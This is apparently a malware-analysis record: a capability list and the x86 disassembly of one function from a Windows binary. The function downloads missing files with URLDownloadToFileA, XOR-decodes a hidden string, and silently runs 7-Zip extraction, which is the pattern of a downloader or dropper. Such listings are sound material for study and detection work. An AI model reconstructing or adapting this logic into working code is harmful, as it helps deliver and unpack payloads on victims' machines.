Function at 0x42a410
Capabilities:
Contain obfuscated stackstrings
Download url
Encode data using xor
Receive data
Set current directory
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x436401
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc8
cmp dword [0x472c38], 0xf
mov edx, 0x472c24
push esi
cmova edx, dword [0x472c24]
xorps xmm0, xmm0
mov ecx, edx
mov dword [ebp - 0x48], 0
push edi
movups xmmword [ebp - 0x58], xmm0
mov dword [ebp - 0x44], 0
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42a460
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x58]
call fcn.00433e60
cmp dword [ebp - 0x44], 0xf
lea eax, [ebp - 0x58]
push 0x46dcbc
cmova eax, dword [ebp - 0x58]
push eax
mov eax, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov dword [ebp - 0x2c], eax
call eax
mov edi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 8
test eax, eax
je 0x42a4a7
push eax
call edi
add esp, 4
mov byte [ebp - 0xd], 0
jmp 0x42a4ab
mov byte [ebp - 0xd], 1
mov ecx, dword [ebp - 0x44]
cmp ecx, 0xf
jbe 0x42a4e1
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42a4d7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x42a4d7
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00434d13
add esp, 8
cmp byte [ebp - 0xd], 0
mov edx, dword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [ebp - 0x30], edx
je 0x42a520
cmp dword [0x472c38], 0xf
mov ecx, 0x472c24
push 0
cmova ecx, dword [0x472c24]
mov eax, 0x472a8c
cmp dword [0x472aa0], 0xf
push 0
cmova eax, dword [0x472a8c]
push ecx
push eax
push 0
call edx
cmp dword [0x472ba8], 0xf
mov edx, 0x472b94
xorps xmm0, xmm0
mov dword [ebp - 0x48], 0
cmova edx, dword [0x472b94]
mov ecx, edx
mov dword [ebp - 0x44], 0
movups xmmword [ebp - 0x58], xmm0
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42a550
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x58]
call fcn.00433e60
cmp dword [ebp - 0x44], 0xf
lea eax, [ebp - 0x58]
push 0x46dcbc
cmova eax, dword [ebp - 0x58]
push eax
call dword [ebp - 0x2c]
add esp, 8
test eax, eax
je 0x42a58a
push eax
call edi
add esp, 4
mov byte [ebp - 0xd], 0
jmp 0x42a58e
mov byte [ebp - 0xd], 1
mov ecx, dword [ebp - 0x44]
cmp ecx, 0xf
jbe 0x42a5c4
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42a5ba
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x42a5ba
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00434d13
add esp, 8
cmp byte [ebp - 0xd], 0
je 0x42a5fb
cmp dword [0x472ba8], 0xf
mov ecx, 0x472b94
push 0
cmova ecx, dword [0x472b94]
mov eax, 0x472c6c
cmp dword [0x472c80], 0xf
push 0
cmova eax, dword [0x472c6c]
push ecx
push eax
push 0
call dword [ebp - 0x30]
sub esp, 0x18
mov dword [ebp - 0x3f], 0x317d2866
mov edx, esp
mov dword [ebp - 0x3b], 0x7777332d
mov word [ebp - 0x37], 0xa
xor ecx, ecx
mov byte [ebp - 0x35], 1
mov dword [ebp - 0x34], edx
nop dword [eax]
lea eax, [ecx + 0x51]
xor byte [ebp + ecx - 0x3f], al
inc ecx
cmp ecx, 9
jb 0x42a620
push ecx
lea eax, [ebp - 0x36]
mov byte [ebp - 0x35], 0
push eax
lea eax, [ebp - 0x3f]
mov ecx, edx
push eax
call fcn.004336a0
call fcn.00429770
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x18
mov dword [ebp - 0x34], eax
push 0x32
call eax
push 0x472c24
lea ecx, [ebp - 0xd4]
call fcn.00432b30
push 0x46dcc0
lea ecx, [ebp - 0xbc]
mov dword [ebp - 4], 0
call fcn.00432850
push str.Path
lea ecx, [ebp - 0xa4]
mov byte [ebp - 4], 1
call fcn.00432850
lea eax, [ebp - 0xa4]
mov byte [ebp - 4], 2
push eax
lea eax, [ebp - 0xbc]
push eax
lea ecx, [ebp - 0x74]
call fcn.0042a130
add esp, 8
mov byte [ebp - 4], 3
cmp dword [ebp - 0x64], 0
jne 0x42a6bf
push 0x2b
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
cmp dword [ebp - 0x60], 0xf
lea eax, [ebp - 0x74]
cmova eax, dword [ebp - 0x74]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
mov ecx, dword [ebp - 0xc4]
mov eax, Ordinal_2
sub eax, ecx
cmp eax, 0xa
jb 0x42aeb4
cmp dword [ebp - 0xc0], 0xf
lea eax, [ebp - 0xd4]
push ecx
cmova eax, dword [ebp - 0xd4]
push eax
push 0xa
push str.7z.exe_x__
push ecx
push dword [ebp - 0x34]
lea ecx, [ebp - 0x58]
call fcn.00434730
mov byte [ebp - 4], 4
mov edx, dword [ebp - 0x44]
mov eax, edx
mov ecx, dword [ebp - 0x48]
sub eax, ecx
push 0x15
push str.___y__oC:___nul_2_1
cmp eax, 0x15
jb 0x42a74e
cmp edx, 0xf
lea esi, [ebp - 0x58]
lea eax, [ecx + 0x15]
cmova esi, dword [ebp - 0x58]
add esi, ecx
mov dword [ebp - 0x48], eax
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + 0x15], 0
lea eax, [ebp - 0x58]
jmp 0x42a75b
push dword [ebp - 0x34]
lea ecx, [ebp - 0x58]
push 0x15
call fcn.004343e0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x8c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x7c], xmm0
mov byte [ebp - 4], 6
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov ecx, dword [ebp - 0x44]
cmp ecx, 0xf
jbe 0x42a7ba
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42a7b0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x42a7b0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00434d13
add esp, 8
cmp dword [ebp - 0x78], 0xf
lea edx, [ebp - 0x8c]
xorps xmm0, xmm0
mov dword [ebp - 0x48], 0
cmova edx, dword [ebp - 0x8c]
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x44], 0xf
mov ecx, edx
mov byte [ebp - 0x58], 0
movups xmmword [esi], xmm0
lea eax, [ecx + 1]
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [ebp - 0x5c], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42a800
sub ecx, dword [ebp - 0x5c]
push ecx
push edx
mov ecx, esi
call fcn.00433e60
call fcn.00429770
add esp, 0x18
push 0x32
call dword [ebp - 0x34]
cmp dword [0x472bf0], 0xf
mov edx, 0x472bdc
xorps xmm0, xmm0
mov dword [ebp - 0x18], 0
cmova edx, dword [0x472bdc]
mov ecx, edx
mov dword [ebp - 0x14], 0
movups xmmword [ebp - 0x28], xmm0
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42a850
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x28]
call fcn.00433e60
cmp dword [ebp - 0x14], 0xf
lea eax, [ebp - 0x28]
push 0x46dcbc
cmova eax, dword [ebp - 0x28]
push eax
call dword [ebp - 0x2c]
add esp, 8
test eax, eax
je 0x42a88a
push eax
call edi
add esp, 4
mov byte [ebp - 0xd], 0
jmp 0x42a88e
mov byte [ebp - 0xd], 1
mov ecx, dword [ebp - 0x14]
cmp ecx, 0xf
jbe 0x42a8c4
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42a8ba
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x42a8ba
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00434d13
add esp, 8
cmp byte [ebp - 0xd], 0
je 0x42a8fb
cmp dword [0x472bf0], 0xf
mov ecx, 0x472bdc
push 0
cmova ecx, dword [0x472bdc]
mov eax, 0x472c3c
cmp dword [0x472c50], 0xf
push 0
cmova eax, dword [0x472c3c]
push ecx
push eax
push 0
call dword [ebp - 0x30]
cmp dword [0x472b18], 0xf
mov edx, 0x472b04
xorps xmm0, xmm0
mov dword [ebp - 0x18], 0
cmova edx, dword [0x472b04]
mov ecx, edx
mov dword [ebp - 0x14], 0
movups xmmword [ebp - 0x28], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42a928
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x28]
call fcn.00433e60
cmp dword [ebp - 0x14], 0xf
lea eax, [ebp - 0x28]
push 0x46dcbc
cmova eax, dword [ebp - 0x28]
push eax
call dword [ebp - 0x2c]
add esp, 8
test eax, eax
je 0x42a962
push eax
call edi
add esp, 4
mov byte [ebp - 0xd], 0
jmp 0x42a966
mov byte [ebp - 0xd], 1
mov ecx, dword [ebp - 0x14]
cmp ecx, 0xf
jbe 0x42a99c
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42a992
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x42a992
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00434d13
add esp, 8
cmp byte [ebp - 0xd], 0
je 0x42a9d3
cmp dword [0x472b18], 0xf
mov ecx, 0x472b04
push 0
cmova ecx, dword [0x472b04]
mov eax, 0x472b34
cmp dword [0x472b48], 0xf
push 0
cmova eax, dword [0x472b34]
push ecx
push eax
push 0
call dword [ebp - 0x30]
cmp dword [0x472bc0], 0xf
mov edx, 0x472bac
xorps xmm0, xmm0
mov dword [ebp - 0x18], 0
cmova edx, dword [0x472bac]
mov ecx, edx
mov dword [ebp - 0x14], 0
movups xmmword [ebp - 0x28], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42aa00
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x28]
call fcn.00433e60
cmp dword [ebp - 0x14], 0xf
lea eax, [ebp - 0x28]
push 0x46dcbc
cmova eax, dword [ebp - 0x28]
push eax
call dword [ebp - 0x2c]
add esp, 8
test eax, eax
je 0x42aa3a
push eax
call edi
add esp, 4
mov byte [ebp - 0xd], 0
jmp 0x42aa3e
mov byte [ebp - 0xd], 1
mov ecx, dword [ebp - 0x14]
cmp ecx, 0xf
jbe 0x42aa74
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42aa6a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x42aa6a
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00434d13
add esp, 8
cmp byte [ebp - 0xd], 0
je 0x42aaab
cmp dword [0x472bc0], 0xf
mov ecx, 0x472bac
push 0
cmova ecx, dword [0x472bac]
mov eax, 0x472a74
cmp dword [0x472a88], 0xf
push 0
cmova eax, dword [0x472a74]
push ecx
push eax
push 0
call dword [ebp - 0x30]
cmp dword [0x472c20], 0xf
mov edx, 0x472c0c
xorps xmm0, xmm0
mov dword [ebp - 0x18], 0
cmova edx, dword [0x472c0c]
mov ecx, edx
mov dword [ebp - 0x14], 0
movups xmmword [ebp - 0x28], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42aad8
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x28]
call fcn.00433e60
cmp dword [ebp - 0x14], 0xf
lea eax, [ebp - 0x28]
push 0x46dcbc
cmova eax, dword [ebp - 0x28]
push eax
call dword [ebp - 0x2c]
add esp, 8
test eax, eax
je 0x42ab12
push eax
call edi
add esp, 4
mov byte [ebp - 0xd], 0
jmp 0x42ab16
mov byte [ebp - 0xd], 1
mov ecx, dword [ebp - 0x14]
cmp ecx, 0xf
jbe 0x42ab4c
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42ab42
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x42ab42
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00434d13
add esp, 8
cmp byte [ebp - 0xd], 0
je 0x42ab83
cmp dword [0x472c20], 0xf
mov ecx, 0x472c0c
push 0
cmova ecx, dword [0x472c0c]
mov eax, 0x472b7c
cmp dword [0x472b90], 0xf
push 0
cmova eax, dword [0x472b7c]
push ecx
push eax
push 0
call dword [ebp - 0x30]
cmp dword [0x472b78], 0xf
mov edx, 0x472b64
xorps xmm0, xmm0
mov dword [ebp - 0x18], 0
cmova edx, dword [0x472b64]
mov ecx, edx
mov dword [ebp - 0x14], 0
movups xmmword [ebp - 0x28], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42abb0
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x28]
call fcn.00433e60
cmp dword [ebp - 0x14], 0xf
lea eax, [ebp - 0x28]
push 0x46dcbc
cmova eax, dword [ebp - 0x28]
push eax
call dword [ebp - 0x2c]
add esp, 8
test eax, eax
je 0x42abea
push eax
call edi
add esp, 4
mov byte [ebp - 0xd], 0
jmp 0x42abee
mov byte [ebp - 0xd], 1
mov ecx, dword [ebp - 0x14]
cmp ecx, 0xf
jbe 0x42ac24
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42ac1a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x42ac1a
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00434d13
add esp, 8
cmp byte [ebp - 0xd], 0
je 0x42ac5b
cmp dword [0x472b78], 0xf
mov ecx, 0x472b64
push 0
cmova ecx, dword [0x472b64]
mov eax, 0x472b1c
cmp dword [0x472b30], 0xf
push 0
cmova eax, dword [0x472b1c]
push ecx
push eax
push 0
call dword [ebp - 0x30]
cmp dword [0x472a70], 0xf
mov edx, 0x472a5c
xorps xmm0, xmm0
mov dword [ebp - 0x18], 0
cmova edx, dword [0x472a5c]
mov ecx, edx
mov dword [ebp - 0x14], 0
movups xmmword [ebp - 0x28], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x42ac88
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x28]
call fcn.00433e60
cmp dword [ebp - 0x14], 0xf
lea eax, [ebp - 0x28]
push 0x46dcbc
cmova eax, dword [ebp - 0x28]
push eax
call dword [ebp - 0x2c]
add esp, 8
test eax, eax
je 0x42acc2
push eax
call edi
add esp, 4
mov byte [ebp - 0xd], 0
jmp 0x42acc6
mov byte [ebp - 0xd], 1
mov ecx, dword [ebp - 0x14]
cmp ecx, 0xf
jbe 0x42acfc
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42acf2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x42acf2
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00434d13
add esp, 8
cmp byte [ebp - 0xd], 0
je 0x42ad33
cmp dword [0x472a70], 0xf
mov ecx, 0x472a5c
push 0
cmova ecx, dword [0x472a5c]
mov eax, 0x472b4c
cmp dword [0x472b60], 0xf
push 0
cmova eax, dword [0x472b4c]
push ecx
push eax
push 0
call dword [ebp - 0x30]
mov ecx, dword [ebp - 0x78]
cmp ecx, 0xf
jbe 0x42ad6a
mov edx, dword [ebp - 0x8c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42ad60
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42ae92
push ecx
push edx
call fcn.00434d13
add esp, 8
mov ecx, dword [ebp - 0x60]
cmp ecx, 0xf
jbe 0x42ad9e
mov edx, dword [ebp - 0x74]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42ad94
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42ae92
push ecx
push edx
call fcn.00434d13
add esp, 8
mov ecx, dword [ebp - 0x90]
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x60], 0xf
mov byte [ebp - 0x74], 0
cmp ecx, 7
jbe 0x42adf0
mov edx, dword [ebp - 0xa4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x42ade6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42ae92
push ecx
push edx
call fcn.00434d13
add esp, 8
mov ecx, dword [ebp - 0xa8]
xor eax, eax
mov dword [ebp - 0x94], 0
mov dword [ebp - 0x90], 7
mov word [ebp - 0xa4], ax
cmp ecx, 7
jbe 0x42ae49
mov edx, dword [ebp - 0xbc]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x42ae3f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42ae92
push ecx
push edx
call fcn.00434d13
add esp, 8
mov ecx, dword [ebp - 0xc0]
xor eax, eax
mov dword [ebp - 0xac], 0
mov dword [ebp - 0xa8], 7
mov word [ebp - 0xbc], ax
cmp ecx, 0xf
jbe 0x42aea2
mov edx, dword [ebp - 0xd4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42ae98
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x42ae98
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00434d13
add esp, 8
mov ecx, dword [ebp - 0xc]
xor eax, eax
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret
call fcn.00428c50
int3